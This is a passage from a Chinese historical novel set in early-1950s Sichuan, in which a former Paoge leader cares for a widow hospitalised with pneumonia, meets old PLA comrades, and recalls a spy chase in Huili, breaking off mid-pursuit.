此时的西昌还要在三年后才开始建设第一所人民医院,一夜未眠的周立行在发现杨珺秀高烧昏迷后,抱着杨珺秀急匆匆出门便是一阵狂奔,他没有想那么多,一阵风地往曾经待过的兵团卫生所冲去。
当时,解放军师一级设医院、团一级设卫生队、连队设卫生室。
每个连队都配备一名军医和一至两名卫生员,卫生员不分男女,大都是从战士当中挑选,也有一部分是从外部招选。
团卫生队是部队最基层的医疗单位,在战时的主要任务是组织救护小组进行战地救援和抢救伤员,和平时期卫生队的主要任务就是做好部队的防病治病和卫生防疫工作,保障干部战士的身体健康,提升整个部队的战斗力。
西昌城内,有几个固定的兵团卫生所,虽然西南地区大范围的剿匪已经基本结束,但深山险岭处,依旧时不时有期待“反攻大陆”的军特们在活动,小股的战斗时有发生。
所以这些卫生所一边会对受伤的解放军战士们进行医治,另一边也会对各族群众送来的急难症患者进行力所能及的帮助,同时还会对连队的军医和卫生员进行定期培训,也会对彝族地区选送来的学医的人进行培养。
周立行熟门熟路地冲进卫生所,他面色焦急,进去便喊道:
“同志,急诊!高烧昏迷了,心率低,请尽快救人!”
周立行离开西昌只有一年多,当初他跟随解放军部队来到过这里,还待过不短的一段时间,所以才能下意识地抱着生病的人就往兵团卫生所赶来。
兵团卫生所里的卫生员战士们基本都是以前那一批,一开始见一个男人抱着一个女人进来,心急火燎的样子,让她们直接只忙着去接人。
等到周立行一说话,立即有卫生员认出了他:
“俊秀同志!你回来了?!”
“这是你的家属吗?赶紧放到病房!”
“快去请医生过来,这是咱们同志的家属!”
周立行来不及解释,先把杨珺秀抱进病房放下,医生很快赶来,一照面也是熟人。
护士已经给杨珺秀考好了体温表,拿出来一看,大伙儿都吓了一跳,竟然烧上了40°。
伍医生给杨珺秀把了脉,翻看眼睑,立即决定先打退烧针,然后询问周立行关于杨珺秀的情况。
“昨天她在大渡河的吊桥旁祭奠过亡夫,吹过河风……前几天我们车队在蓑衣岭过夜,晚上下过雪,或许受过寒……”
周立行有些懊丧,内心责怪自己没把杨珺秀照顾好。
他自己身体好,高寒也好酷热也好,除非是瘟疫细菌病毒一类,他很少生病,随行的莲妹儿和刘愿平也是身体素质好的那一类,他竟是忽略了杨珺秀曾经是个大门不出二门不迈的千金娇小姐,后来又郁郁多年,身子骨弱得很。
伍医生点头,“我们先给挂水,马上抽血化验下。我们这里的情况你清楚,药物品种不多,大多是有针对性的。你说你们那一队的司机之前都生过病,先看看你家属的化验情况再说。”
周立行感谢了伍医生,这时罗瑞鹤也是急匆匆地推门进来。
“周大哥!”
罗瑞鹤里面穿着军装,外面套着医生服,她已经从一名卫生员成长为英姿飒爽的军医。
听到其它卫生员们在说周俊秀回来了,还带了生病的家属,她看完手里的病员,见剩下的人不是急诊,便稍微告假,赶来和周立行见一面。
伍医生见罗瑞鹤心急的样子,赶紧上前安慰,“瑞鹤,别担心,有我在,我会好好给俊秀家属治疗的。”
罗瑞鹤点点头,她也不能让自己的病人等太久,既然是伍医生在,她也放心。
“周大哥,伍医生的本事你知道的,咱们所里最厉害的,中西医结合的呢!昨日云南那边的车队运了新的一批药物来,我这边马上安排人去领!你放心啊!”
说完,罗瑞鹤伸长脖子看了看昏迷的杨珺秀,忍不住在心里赞了一句好漂亮的姑娘,看五官跟周立行没有任何相似,那应该不是什么亲戚姐妹……那极有可能是配偶了!
她现在做事风风火火的,瞄了一眼,心中有了个猜测,然后没等周立行回答,她立即利落地转身走掉了。
周立行:“……”
原本懊丧紧张的心情,倒是莫名其妙舒缓了许多。
打完退烧针,挂上水,不到一个小时,杨珺秀的烧开始退下,维持到了三十八度左右。
化验结果也很快出来了,不是什么疑难杂症,但也凶险,杨珺秀竟是不声不响地遭了肺炎。
杨珺秀懵懂地睁开眼,她的视野里,从模糊到清醒地看到一张略显担忧的英俊脸庞,眸光偏冷,宛如山间寒泉。
不是致松,致松的眸光是明澈温暖的,是夏夜明月。
她断断续续地想起来,自己做了一个很长的梦。
梦里她回到了十三四岁的年纪,同致松一起泛舟游览乐山大佛。
她记不得他们聊了什么,只记得最后,致松摸着她的头,说着她听不到的话,消失在了江水中心。
“珺秀?好些了吗?”
“立行……”杨珺秀认出了眼前人,再看周围的装饰,意识到自己是在医院里,“我这是?”
“肺炎,发烧昏迷了,幸好及时送医院了。你呀,之后有什么不舒服,不要硬撑,及时讲呀!”
周立行一大早的饭没有吃一口,一直守着杨珺秀到中午,等她清醒过来,才松了一口气。
中午的时候,罗瑞鹤贴心地为周立行和杨珺秀打来伙食团的饭菜,杨珺秀的是较为清淡的稀粥配蒸蛋,周立行则是慢慢一大碗米饭配菜。
同时,罗瑞鹤还带了一小袋糖果,这可是稀罕货。
在罗瑞鹤的自我介绍后,病恹恹的杨珺秀眼里泛出神采:
“啊!我想起来了,周大哥给我讲过,你好厉害呀,已经是医生了呢!”
罗瑞鹤意味深长地瞥了一眼周立行,她清了清嗓子,“是吗?那我跟你们再宣布一个好消息,我和伍满杏医生已经递交了结婚申请,上级已经批准了。”
周立行有些惊讶,杨珺秀还不知道伍满杏是谁,但两人都异口同声地恭贺到:
“太好了,祝你们幸福。”
说完,周立行和杨珺秀对视一眼,周立行眼中是浅浅的欣慰,杨珺秀则是满满的欢喜。
罗瑞鹤适时地助力道:“你们呢?准备什么时候办喜事?”
周立行也是不懂,这一路上的故人到底是怎么了,一个二个都莫名其妙地把他和杨珺秀当一对,他颇为抱歉地看杨珺秀,正要开口解释,哪知杨珺秀已经率先开口:
“瑞鹤姐,周大哥是我的恩人,他是带我出来还愿的。”
周立行点着头,然后顺手把被子往杨珺秀身上拉了拉,他怕杨珺秀又凉着了。
罗瑞鹤斜着眼睛看周立行的动作,目光戏谑。
杨珺秀顿时闹了个大红脸,明明这是很正常的动作,不知为何被罗瑞鹤那么看着,杨珺秀自己也觉得莫名的不好意思起来。
周立行见杨珺秀脸红了,心中咯噔一声,赶紧用手去贴杨珺秀的额头,“怎么了?又烧起来了?”
杨珺秀想要躲,可她那软绵绵的样子,怎么躲得开,周立行温暖干燥的手掌贴到了她的额头,让杨珺秀更是羞窘起来。
罗瑞鹤眨巴着眼,觉得自己在这里似乎有点多余,这两个人明明就那么默契,相互之间的关怀明明就透着一股水到渠成的暧昧,可两人似乎还没有意识到只有一层窗户纸。
不过也想得通,罗瑞鹤想起当年冯争鸣对周立行的评价:懒散的一根筋。
想到这里,罗瑞鹤忍不住发笑,她转移话题:
“哦,这样啊,哎,那就只能先吃我的喜糖了。你们在西昌还要待多久呀?”
病情来得如此迅猛,杨珺秀自己也是没想到。
她确实是这些年折腾得身子骨弱,在蓑衣岭那几夜受了寒,在大渡河吊桥旁的祭祀心神动荡,晚上又喝了酒,还熬了夜,竟是诱发了多年积攒的病气。
“伍医生说,肺炎至少要住五天院。等出院了,我们打算去一趟会理见见小杜鹃和三刀凉的儿子,然后在去云南重走下滇缅线。”
周立行说出自己的计划,“我……还想再去祭拜下他们……”
想到自己的表弟冯争鸣,罗瑞鹤叹口气,“行呀,我也去准备些纸钱,你帮我烧给争鸣。”
短暂的叙旧后,罗瑞鹤又投入了繁忙的工作,周立行回了一趟宾馆,结果得知醒来的付志卿已经给他们的两间房续了十天房。
付志卿已经归队去工作了,这两天就要回云南,他从刘愿平那里得知了周立行等人接下来的想法,留下一些盘缠,并叮嘱到了云南一定要找他。
周立行回去给刘愿平和莲妹儿说了要暂留几天的事情,刘愿平和莲妹儿表示这肯定要把珺秀照顾好,然后说完之后,莲妹儿主动申请去给杨珺秀陪夜。
虽然卫生所里有卫生员,但大家都觉得卫生员已经很辛苦了,不能再给她们添麻烦,能自己照顾的肯定还是自己照顾。
陪夜的人白天肯定要休息,于是
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大家决定,白天周立行去陪杨珺秀,晚上陪刘愿平;莲妹儿则是和周立行互换,白天照顾刘愿平,晚上陪护杨珺秀。
这一残一病,便都照顾到了。
虽然周立行杨珺秀都说他们是朋友,可这年头的民风还是趋向保守,护士们时不时地,还是要拿他们两人打趣。
周立行一开始还解释,到后来麻木了,索性不解释。
杨珺秀十分不好意思,弱弱地跟周立行道歉,“连累你了……”
周立行倒是坦荡,“这叫什么连累,当初在滇西密林打游击的时候,一开始队里只有沐明实是女的,我又是队长,大家一开始都是熟人,还算明白情况。”
“后来我们陆续收了好些被屠寨子的女队员,之后进来的人,还有跑来跟我说什么——队长你一个人享用那么多女人,我立功之后,你能不能分一个给我!”
杨珺秀听笑了,“那你怎么回答?”
周立行想了想,“我说我们是战友,总有人不信,懒得解释,直接让他们一对一跟沐明实打架。”
“打输了的要挨个儿去跟所有的女队员道歉,保证不乱造谣。他要追求谁,得拿出自己的本事,得问人家女队员喜欢什么,而不是跟我吱吱哇哇提想法。”
杨珺秀看了看自己细瘦的手臂,面露难色,“那,要是他打赢了呢?”
周立行笑了,“我就在旁边呢,还能让他赢了?”随便弹一颗小石子,都能左右战局。
“不过,明实也是很厉害的,普通人赢不了她,要是真的能赢她的,那是百里挑一的勇武之士了。”
周立行频繁地想起往事,却没有了往日那种惆郁,他竟也觉得可以轻松地谈论这些了。
杨珺秀跟着笑起来,“她真的好厉害呀!”
不过杨珺秀多少有点恋爱脑,她更关心的是,“那,你们的女队员,都喜欢什么样的男人?”
周立行想了想,“明实不是拘泥于男女之爱的人,她的理想和信念很伟大。我不知道她喜欢什么样的,或许她喜欢的是众生。”
山中的岁月多,他和沐明实一直在带着游击队奔波。当时的他每天要想着如何跟日本人周旋,要想办法让大家活下去;沐明实要处理队员间的矛盾,要管理后勤物资,要跟着一起去和部落山民打交道,还要兼职队里的医生。
他们都很忙,大家都知道或许下次就死了,沐明实似乎觉得儿女情长的事情完全不重要。
“其他女队员嘛,都是血海深仇在身上的,每个人不一样,也有的人会和队里其他男人看对眼,便对着山林拜天地,然后不久之后,双双死于战斗……”
几天前,兴奋的小伙子和羞涩的姑娘还戴着山林里的鲜花起舞,队友们欢呼庆祝……几日后,队友们便为他们挖一个坑,夫妻同穴。
杨珺秀听得唏嘘,“能一起赴死,也是一种浪漫。”
说到这里,杨珺秀便想起付志卿,“像小付师傅这样未曾表白,当真是遗憾……”
她抬起眼,长长的睫毛仿若蝶翼,小小声地说出发自内心的感叹,“你是幸运的,至少你和喜雀姐在一起过。”
周立行轻轻地点头,他从未和人这般谈起过王喜雀,此刻听来,颇为认同。
“是呀,同为弟娃,我至少被看上过。”
这话莫名其妙地戳到杨珺秀的笑点,她噗地一声笑了出来。
周立行回味自己的话,再看杨珺秀的笑容,不懂她为何笑,有些轻微的郁闷,“怎么了?我当初虽然年纪小,有点怂,不敢表白,但我整体来说还是很好的男人……”
杨珺秀努力收敛笑容,温柔地回应道:“你确实是,很好很好的男人呀!”
周立行猝不及防被夸赞,顿时不知所措,竟是显露出不符合他而立之年的羞涩,他眼珠子左右乱盯,回赞道:“你,你也是很好的女人……”
杨珺秀忍不住起了逗弄之心,“啊?我哪里好了?我身体弱,杀鸡都不敢,脾气弱,活生生能把自己气疯傻,我觉得我好没用的!”
周立行真诚地回应,“人生来不同,不要去和别人比较。你聪慧,善良,忠贞,坚韧,你读过书,能写会算,还长得这般漂亮,以前只是被世道给管束了,若是你想,等走完这趟路,你可以做任何自己想做的事情!未来还很长,你还有大好的人生!”
杨珺秀屏住呼吸,认真地听完了,她小心翼翼地祝福:
“我们都往前走,我们都有大好的人生……”
短短两句话,却如宛如一梭子弹打中心脏,周立行浑身一颤,瞬间也找不到呼吸。
91.西昌
当杨珺秀说出“我们都往前走,我们都有大好的人生”时,周立行的脑海中响起一阵钟鸣声。
他豁然惊醒,一直以来,冥冥之中,许多人都在祝福他,让他往前走。
劝别人容易,渡自己难。
周立行当过小和尚,他背过许多的佛经,自然是懂得这个道理的。
他周立行一路走来,得到过黑老鸹的倾囊相授,得到过方结义的精心培养,得到过王喜雀的倾心回应,得到过沐明实的战友信任,还得到过那么多人的肯定和依赖,前有忠义堂的那么多兄弟姊妹,现在也有赵大石这样的同志对他陈赞不已。
他从洪雅的山林中走出,浪荡颠簸这一生,其实是值得的。
他该往前走,替那些死去的人看看这个战乱初定、朝气蓬勃的国家。
黑老鸹期待的圣人王师,他已经在深入大凉山的解放军身上看到了;方结义期待的骨气,他已经在抗美援朝相关的报道上看到了;喜雀姐曾经说过想要自己儿孙满堂,他现在暂时还没有找到盼回,但也不能让喜鹊姐以后没人祭拜……沐明实笃定的富强国家,才刚刚开始建设……
“……我们确实是有缘人……”周立行双目放空,喃喃地说道,极为难得地双手合十做了个佛礼,“……你是来渡我的……”
他脑中竟是浮现出峨眉山上的老主持圆寂之前对他的嘱托,但行好事,莫问因果,逢凶化吉,改命善终。
眼见周立行这模样,杨珺秀愣住,这下轮到她不知所措了,她左右乱看,最终干脆回了一个佛礼,“互渡,互渡……”
这下,他们两人都笑了起来。
门外的伍医生经过,凑头去看了一眼,假装站着想事情听了一会儿,最后摇着头把这对傻乎乎的人儿聊的天记下来,准备着回头去找未婚妻罗瑞鹤八卦去!
*
许是心情愉悦,杨珺秀的病好转的很快,到第五天的时候,她便可以出院了。
伍医生给开了足够的消炎药,叮嘱杨珺秀最好是在西昌再养个三五天,不要急着舟车劳顿,否则容易引发反复。
莲妹儿这段时间天天晚上跟着在医院住,也没有休息好,刘愿平则是难得出远门,每天自己摇着轮椅出四处逛,宛如出栏牛羊撒欢儿,高兴地很。
周立行反正不着急离开,房间也是被人给了钱续上的,他便带着杨珺秀回了宾馆,让大伙儿都再歇歇。
在这几天当中,周立行回西昌的消息被卫生所的人传了上去。
没过两天,周立行被几个喜笑颜开的解放军战士毫不客气地簇拥着强制邀请走了,要不是这几个解放军战士一见面就对周立行又拥又抱的,杨珺秀等人差点要以为周立行是犯事被逮了。
周立行一听是鲁政委找他,整个人都灰头土脸起来,浑身上下都是想要马上跑路的样子。
那几个解放军战士都是久经沙场的好手,几个人各个方向给周立行堵的死死的,上回周立行不辞而别,可让他们好找,现在还能再让他跑了才怪!
“俊秀同志,听卫生员们说,你快要重新组建家庭了?”
“喜酒!必须请我们喝喜酒!”
“就是嘛,都是战场上的战友,你可是立过功的!”
“政委一直在托人给你找儿子,你不声不响的走了,政委是真的伤心了的!”
“这次回来,要不就别走了呗?”
几个战士你一言我一语,把周立行[押]上汽车,一路都在呱呱说。
周立行难得地头疼起来,“同志们,兄弟们,不要说了,我这个人袍哥出生,天生就不爱守规矩……我不适合在部队干,我要回家种地!种地!国家都重新给咱们分配土地了,我还是回去种地……”
一口气说了三次种地,周立行的执念也是很深了。
这群战士们有山西的老红军,也有以前24军的人,他们纷纷发出了然的啧啧声,“种地好,种地也行,新中国各行各业都需要人……不过你那么优秀的驾驶技术,拿去种地好可惜啊!”
“……”周立行闭了闭眼,“我有病,我不适合太有压力的地方,长久地开车我也容易出现幻觉,你们都知道的!”
说到这个,战士们也都不再调笑,纷纷开始安抚:
“好了好了,别闹俊秀了,他那个叫什么创伤,伤到过头,就算是咱自己人,也是要转业到地方的!”
“别说俊秀了,我都容易应激,前段时间还有在街头刺杀咱们军政干部的,惊得我一生冷汗。回家的时候,梁上一只老鼠掉下来,我都差点开了枪……”
“种地好,种地能养活咱们自家人,我为国家种稻谷!哈哈,俊秀以后要当劳模!”
听他们这么说,周立行才渐渐放松了下来。
他其实是非常敬佩解放军的,可是……他也确实是不想再待在面临各类生死刺激的地方。
之前他是想去找盼回,现在,他更想感受告别过往之后的安宁。
鲁政委是参加过长征的老红军,此时已经是中共四川凉山工委指挥部书记和凉山指挥部政委,也是西南军区的副参谋长。
他脸型瘦长,眉眼坚韧,一见周立行就开始打趣,“哟,逃兵回来了?”
周立行不服气,“我没当兵,我只是进步人士!提供协助的老乡!”
鲁政委眼神戏谑,扬着眉毛反击,“嚯!是啊,从头到尾都没当兵呢!就是冒名顶替过远征军打游击,又穿着咱们解放军的衣服去抓特务、击毙匪首而已!咱周立行同志啊!这辈子没当过一天兵!”
周立行往木长椅上一坐,满脸我就不承认看你把我咋办的无赖样,高声回答,“对,就是这样!”
鲁政委都被气笑了,指着周立行,“行,你说了算。”
其实鲁政委也是百忙之中抽出空来,见一见这个他曾经十分欣赏,却悄悄跑路的前袍哥龙头。尤其是听闻对方的家属生病入院侯,他还特别叮嘱警卫员一定要让医院好好医治呢。
周立行从鲁政委的态度中,感受到了对方的善意。
鲁政委并不介意自己之前的不告而别,这反而让周立行有些愧疚,毕竟解放军的大家对他都很好。
“抱歉,我那个时候,频繁犯病看到幻觉……我也担心继续下去,哪天会失控伤到你们。你们太
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热情了,又对我太好,我觉得压力太大,所以干脆一走了之……”
周立行陈恳地道歉,“首长,你是大领导,这么看重我想培养我,是我的福分不够。”
鲁政委给周立行泡好茶端过来,安抚道:“不要这样说,你给与了我们很大帮助,我们应该感谢你。”
然后,坐到旁边的鲁政委用非常认真的态度再次询问,“周立行,我以中共四川凉山工委指挥部书记的名义,郑重地向你核实,你是否是失去了组织联系的地下党同志?”
“上回追击匪军的时候,一整个寨子的彝民都说你是红汉,是咱们共产党的人。之前国民党的特务档案里,西南地区的中统也重点调查过你。最重要的是,沐明实确实是咱们的党员,而她曾经向上级报告过,要想办法争取你,发展你。”
周立行莫名胸口一酸,他没想到沐明实有过这样的打算,然而沐明实从头到尾都未曾向他说过。
“……我不是……”周立行咬了咬牙。
“当年我是为了活命,假冒红汉的!虽然后来,机缘巧合之下确实和沐明实一起做了很多事,可,可我的思想境界,应该还不够加入共产党……我,我愿意!”
他似乎不应该辜负沐明实的遗愿,也不应该再推脱鲁政委的关爱。
鲁政委得到了回答,但他也看出来,周立行确实还没有想好,而发展一名党员并不是一蹴而就的,从入党积极分子到发展对象再到预备党员,有的人可能会被考察数十年。
他伸手拍拍周立行的肩膀,安慰道,“没事,没事,我们是担心漏掉了为我们出生入死的同志。入党确实是十分神圣严肃的事情,你要知道我们的宗旨是什么,目标是什么,信念是什么。”
周立行点头,“明实说过,全心全意为人民服务,不屈不挠,为共产主义事业奋斗到底。我的理解,就是要让让全中国人过上好日子。”
鲁政委欣慰地笑了,这般朴实的理解倒也得了共产主义的真谛,“你之后有什么打算?”
“去一趟会理,重走一趟滇缅公路。然后回老家,种地。”
“那,我们给你开一份入党积极分子的介绍信,将你配合我部队的工作经历写清楚,附介绍人。介绍人为三名,其中一名是我,一名是赵大石,最后一名是已经牺牲的沐明实。你把介绍信带回家乡,在家乡的党支部申请再次培养入党,如何?”
鲁政委给了周立行一个完美的解决方法,既给与了他之前协助剿匪时候功劳的证明,也给他一个退一步缓一缓的空间。
周立行真心实意地感谢鲁政委,“我不会辜负大家的。”
鲁政委笑呵呵地打开钢笔,拿出纸张,开始写介绍信,他随口称赞道:
“我听大家说了,你的对象也是丧偶,是个知书达理的好女子。”
“你们能有缘走到一起,可就要好好相互搀扶,把生活过得幸福美满,我估计我是吃不到你们的喜酒了,提前恭祝你们平安顺遂,儿孙满堂!”
“……”周立行是真的不想解释了,大家都要这么认为,就这样吧。
只要杨珺秀别有压力就行,嗯。
92.会理
等过了几日,杨珺秀的状况彻底稳定下来,鲁政委已经为他们安排好后续的路程。
他们搭上国营运输队的车,继续往会理而去。
这路程比乐山到西昌近的多,半天就能到。现在已经深秋,周立行在西昌已经给杨珺秀买好了棉大衣,生怕杨珺秀再次生病。他一路上十分紧张杨珺秀的身体,动不动就要询问她是否难受,
刘愿平和莲妹儿见周立行这模样,两人眼观鼻鼻观心,一言不发,只在私下悄悄咪咪地议论他俩到底啥时候能成。
这一路从西昌往会理走,经过的便是大凉山地区。
大凉山的山脉相比小凉山,着实舒缓了许多,看起来山高,却并不那么陡峭。但这里的海拔,却实际比小凉山要高许多,气候也寒冷许多。
周立行等人这次搭的也是政府车队的车,他们四个人都在一个没有装满货的车厢,大伙儿一路上便忍不住要摆龙门阵。
周立行是人群中最熟悉大凉山的,便在刘愿平的催促下做起了介绍。
“彝人称凉山地区为[斯普古火],森林茂密的高寒地区,他们生活在高山云雾之中,沉默,勇敢,顽强。”
“曾经,对汉人来说,凉山地区是十分神秘的。”
周立行这些时日来,神态愈发轻松,“以前这里有句民谣:雀子飞不过潼关,汉人进不了凉山。”
杨珺秀是土生土长的乐山人,她有些好奇,“这里没有汉人?”
周立行摇头,“不是没有汉人,是指汉人的势力不能进大凉山。唔……进去的,都是被抓的娃子。”
杨珺秀小小惊呼一声,“我小时候一直听说,彝人凶悍暴躁,民间总是流传着他们抓娃子的故事,时不时的总听说哪里又爆发了争斗。这段时间在西昌看着,我觉得他们也是和我们差不多,并没有多么野蛮不讲理呀……真的抓啊?”
刘愿平虽然没来过大凉山,但他在滇缅线上工作过,套用云南那边的话,“人都是爹生妈养的,能有多大区别?”
“都是一样的。”周立行回答道,“都会痛,都会哭,都懂爱恨情仇。”
“就这抓娃子的事情,虽然按现在的法律和规定是不允许的,但以前嘛,这也是他们的一种习俗。几百年前,我们一样有抓战败方当虏为婢的习俗。”
“凉山已经初步解放了,按照现在的规定,解放前抓的娃子,就暂时维持原来的状况,政府不会强迫各土司或头人交出娃子。但解放后,就不准再抓娃子,新中国抓娃子是违反规定的,必须停止,抓了的必须放回去。”
周立行跟着解放军走了一路,这些政策自然是知道许多。
杨珺秀不是很能理解,“不是说解放军是要解放受苦受穷受压迫的苦命人吗?这些被抢去当娃子做奴隶的人,怎么就不一口气解放呢?”
周立行当初也是这么想的,也是这样问的,于是他此刻用曾经鲁政委的话回答杨珺秀:
“我们不能用以往的方式,简单粗暴地对待民族地区的问题。共产党要带领全国各族人民都走向民主富强的生活,就必须因地制宜,讲方式方法。眼下最重要的事,是先把潜藏进彝区,随时准备挑起暴乱的国民党军警匪特们消灭了,才有和平发展的未来。”
“慢慢来,我们所有人,中国的所有民族所有人,都会解放。”
杨珺秀微微睁大眼,刘愿平在身边忍不住激动鼓掌,莲妹儿也是觉得深受震撼。
莲妹儿忍不住赞叹,“这肯定是哪个领导回答你的!这用词,我觉得不是你的话。”
周立行没想到莲妹儿如此敏锐,再想她可是国营纺织厂的会计,肯定是接受过许多政治教育,忍不住也给莲妹儿竖起大拇指,“你厉害。”
车辆沿着铺着碎石的泥土路开着,时不时地颠簸。
周立行看向车外,神色怀念,曾经这些公路都是路匪横生的,没有出“保头银”寸步难行。
此时能安全地开车经过大凉山外围,也是当年难以想象的事情。
“你之前跟着解放军来会理的时候,都发生了些什么事呀?”杨珺秀见周立行神色轻松,便问出了自己的好奇。
周立行眼前突然一阵模糊,仿佛突然脱离这个时空一般,周围开始出现幻象。
这是他遇到杨珺秀之后便没有再发生过的状况,此时不知为何又犯了,他胡乱地身后往旁边抓,抓住了一个温暖的手臂,便如溺水之人抓着浮木一般不放手:
“这里发生了好多事呢……我,有些犯病了,我看不到你们,看到的都是以前的画面……我就这么说这话,你们要是听着我开始胡言乱语了,得尽快把我绑起来……”
*
他跟着解放军部队来到会理,一来他记挂着紫苏的委托,二来也想见一见林人梅是否还在,三来……这里还有忠义堂的分堂,他想看看分堂如何了。
然而一到会理,周立行就听闻了两个噩耗。
一是林人梅已经去世,听说他是病逝在县秘这个位置上,直到死前还在寻找紫苏和小杜鹃,但一直毫无音信。
二是会理的忠义堂,已经被当地大恶霸苏家给占了,改名成了忠爱社,在当地合并了所有的袍哥堂口,开了三个支社、十七个分社,现在的袍哥大爷叫苏汉彬。
这苏汉彬外号“飞天蜈蚣”,嚣张地自称“苏阎王”,对当年忠义堂外出打日本人的事迹绝口不提,只说忠义堂竟然敢跟共产党有牵扯,活该被清算。
苏家人有的任国民党地方军少将军衔的金江中游守备司令,有的任川边军混成旅旅长,有的任当地彝务指挥,是一个集军政袍哥帮会大权于一声的恶霸家族。
他们还在解放前后大肆抓捕金江支队的游击队员们,开膛破肚、刀剐火烙,对金江支队的家属也要赶尽杀绝。
苏汉彬借用了当年袍哥的框架,搞出什么三五幺哥的排行,一律成为龙哥虎弟,说着什么“有福同享有难同当”,实则贪婪成性,心狠手毒,但凡不加入忠爱社为他们苏家效命的青壮男人,竟会被逼着灌粪。
他们占山为王,一边以军警身份收取商队的“保头银”,一边伪装成盗匪抢劫财物、抓娃子,一边以袍哥的做派帮忙拿钱赎人,三头六臂一般换着面儿地敛财。
他们欺压百姓,谁家养鸡下十个蛋就得有他的一个,谁家砍柴五捆就得给他们一捆,谁家有漂亮女儿美貌姐妹他们想睡就要去睡,普通人痛恨他们却又无可奈何,只能选择加入他们,否则无法保护家中妻女。
听到忠义堂的分堂被这个狗东西占了还改名,干的都是这些伤天害理毫无道义的事情,周立行当时差点没有怄出血。
而此时会理的县城里,鸦片交易已是再次繁盛,并且都是在茶馆中交易。
周立行听闻林人梅在1947年便病死任上后,心中更是杀意如火。
他不知道林人梅的死是否有蹊跷,但林人梅是军人出身,身体康健,又不抽大烟不酗酒,他实在是想不到什么样的病能死在任上,而不是卸任回四川就医。
原本袍哥们的茶馆成了鸦片交易场所,原本禁烟的县秘病死任上,苏汉彬的忠爱社如此嚣狂无度……呵!
甭管有没有关系,根本无需去查有没有关系,周立行直接把账记在了苏汉彬身上。
所以,在听说苏汉彬和带着袍哥们跟国民党的残部组建“西南/反/gong军”后,周立行直接跟赵大石申请,他要加入战斗!
此人不杀,他周立行跟苏汉彬姓!
自从在滇西开了杀戒,周立行对于仇恨之人的杀意是愈发明显,然而冥冥之中却像是有什么护佑一般,他除了在战场上,每当特别想杀什么人的时候,都会有各种状况出来阻止。
比如之前想杀李柱,想杀冯显贵……都被赵大石和其他解放军同志们给拦了。
总之,周立行自我反思了下,这人还得是在战场上杀,否则根本没法杀!
面对周立行的申请,赵大石琢磨了下,跟上级做了汇报。
因周立行对会理这边的情况还是有一定了解的,当年又在此学习过一定程度的彝语,对袍哥的组织更是清楚,不仅会开车、会野外丛林战,甚至还会电台操作,上级同意
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将周立行放到特务连那边去协助工作。
解放军的特务连隶属于团直,执行的是侦查、警卫、通信等特殊任务的连队。这个连理的中老兵骨干比例较大,很多人枪法很准。
周立行跟在了一个叫王青真的排长手下,那王排长枪法一绝。
那一日,周立行跟着王排长到会理上南区的九道沟侦察匪情。
九道沟有个小街叫斜疙瘩,这里是个汉族聚居区,但有许多彝族头人也会到这里来进行鸦片交易。此时的会理县人民政府还在细致谋划如何有效禁烟,戒烟令还没有公布。
周立行先行一个人去的那茶馆,想摸一摸那茶馆的水深。
他穿着当地人颇有彝风的衣服,走进茶馆之后,和那些坐卧抽烟的袍哥、匪徒、民众、彝人们融为一体,别的不说,至少周立行身上没有解放军那一股子纯粹的正气,他的江湖气重,不容易被发现。
周立行观察着周围,手中不自觉地摆起了茶碗阵,刚摆到一半,却被周围一个中年男人按住了手腕。
“哥子,卖烟还是买烟?”那男人仔细看着周立行,像是在辨认。
周立行心中警铃大作,他飞速地思考这人到底是谁,一边停下手里茶碗的动作,压低声音回到:“买烟。”
若是以往,凭借自己过目不忘的本领,周立行肯定能在几息之间想起来对方是谁,然而他已经在滇西伤到过头脑,不能像以前那般敏锐。
那男人慢慢放开手,突然睁大双眼,“是你……”
他也没含糊,立即喊了一声,“有红汉!快跑!”
说完,这茶馆里的匪徒们争先恐后地往山林里逃窜,他们踩到了竹椅,摔翻了茶碗,慌张奔逃。
这惊慌的模样,吓到了整条街上的人,没有人去核实到底发生了什么,毕竟以往的经验在那里摆着,若是有乱子,肯定是有人打来了,甭管是军警、山匪、袍哥、彝人还是什么,跑就行了!别被乱刀冷枪带走了性命!
一人跑,人人跑,瞎跑乱跑!
周立行呆了,他突然想起来,当初他曾经当着许多会理城里的人和一整个彝寨的人说过自己是红汉!
眼下,匪徒肯定把他当解放军了!
完球了,他还打探个屁的消息,任务失败!
然而事情并不仅如此,这街上混乱起来,带着队伍在外面等待的王排长生怕出了什么乱子,立即带着战士们往街上来。
解放军的规矩,跑在最前面的是,一定是这支队伍最大的官。
就在王排长重来的时候,旁边蹿出一个普通人打扮的男人,他撞在王排长身上,然后立即指向一个方向:
“解放军同志,那个,那个人是土匪头子!”
周立行听到外面有战士们奔来的足音,受过训练的队伍足音和普通人有区别,他听到有人在说土匪头子,便跟着从茶馆的窗户中一跃而出,准备去会一会什么土匪头子!
就在此时,周立行一眼看见王排长举起了枪,冲那奔逃的人大喊:
“站住!停下!我们是解放军,不要再跑!再跑的开枪了!”
前面奔跑的人大多停了下来,然而前面还有两个人跑得更快了,他们身上披着斗篷,头上带着帽子,手里还提着枪。
“戴高帽子那个,是土匪头子!杀人如麻,刚刚就是他们试图杀人,才让大家怕了到处跑……”旁边的男人心急如焚地说着,催促道,“快开枪,不如他们就跑了!”
周立行觉得那两人奔跑的姿势不对劲,不像是土匪,倒像是……
“站住!不准再跑!”眼见那两人要跑出射击范围,王排长也有些急了,大喊着!
“对!快站倒!不然开枪打死你们!”那男人也跟着发出十分响亮的怒吼!
道路尽头的两人跑得更快,眼看着就要过拐角!
砰!枪响了。
周立行心中一惊,再看向说话那男人,那穿着朴素、和农民无异的男人竟是露出一个极为阴险的微笑。
中计了!周立行牙一咬,直接向那肯定是特务的男人扑过去……
93.会理
那男人见有人凶狠地扑过来,第一反应竟然是往身上摸枪,这让周立行更加肯定对方来者不善!
周立行的手速更快,他在奔跑的过程中同样掏手枪,根本不需要瞄准直接射击。
那男人反应竟也是极快,他见周立行的姿势便料到对方肯定是个硬茬,摸枪的动作停顿的同时,他直接一个滑步躲到了王排长的后面。
周立行的子弹几乎是擦着王排长打过去的,王排长是个久经沙场的战士,他感受到后方有子弹,立即持枪转回,见是周立行开枪,出于对自己人的信任,他没有反击,而是立刻察觉到自己身边有什么危险!
就在这么一个停顿的空隙,那男人就地打滚,蹿进了旁边的铺子。
周立行来不及解释什么,他直接跟着追进铺子。那男人从窗户跃出,周立行跟着从窗户跃出。
那男人在山林中飞快地奔跑,周立行穷追不舍。那男人跟着险峻的山坡攀爬,周立行紧咬不放。
二人相互都有放过几枪,然而林中障碍物多,加上两人都是身手敏捷的人,竟是两人都没有击中对方。
